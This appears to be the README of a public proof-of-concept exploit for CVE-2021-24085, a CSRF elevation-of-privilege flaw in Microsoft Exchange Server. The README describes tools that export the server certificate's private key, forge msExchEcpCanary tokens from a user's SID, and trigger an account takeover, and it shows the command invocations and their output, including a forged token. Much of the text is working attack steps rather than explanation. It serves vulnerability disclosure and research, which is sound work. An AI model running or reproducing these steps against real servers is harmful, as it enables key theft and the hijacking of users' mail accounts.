sourceincite/cve-2021-24085Proof-of-concept exploit for CVE-2021-24085: CSRF-based elevation of privilege in Microsoft Exchange Server via msExchEcpCanary token forgery, enabling account takeover.
This is a Proof of Concept for CVE-2021-24085.
poc.py downloads the targets cert file with private key insideYellowCanary generates the msExchEcpCanary csrf token for a specific user based on the SIDpoc.js is the csrf exploit to trigger an account takeoverI have not provided the malicifest.xml file but you can find information on how to generate a malcious manifest file from the available resources in the below references section.
Access the certificate with private key inside:
researcher@srcincite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123###
researcher@srcincite:~$ ./poc.py 192.168.75.142 [email protected]:user123###
(+) found the thumbprint: F4EB6AADB8D7C0D12E756BA2E28F90CCACD41299
(+) exported the cert to the target filesystem
(+) saved the cert to testcert.der using password: hax
Now you can generate csrf tokens with YellowCanary using a target users SID:
c:\Users\researcher>poc.exe S-1-5-21-257332918-392067043-4020791575-3104 testcert.der hax
#====================================================
# YellowCanary - generate msExchEcpCanary csrf tokens
#====================================================
security identifier : S-1-5-21-257332918-392067043-4020791575-3104
msExchEcpCanary : sA0o0nS_C0G_PMdcA_dAd5BdAEL_-NcYhndaAwlhBJFs4a4iKy4sn53azH-O5Ix3F0jnwzZZUsk.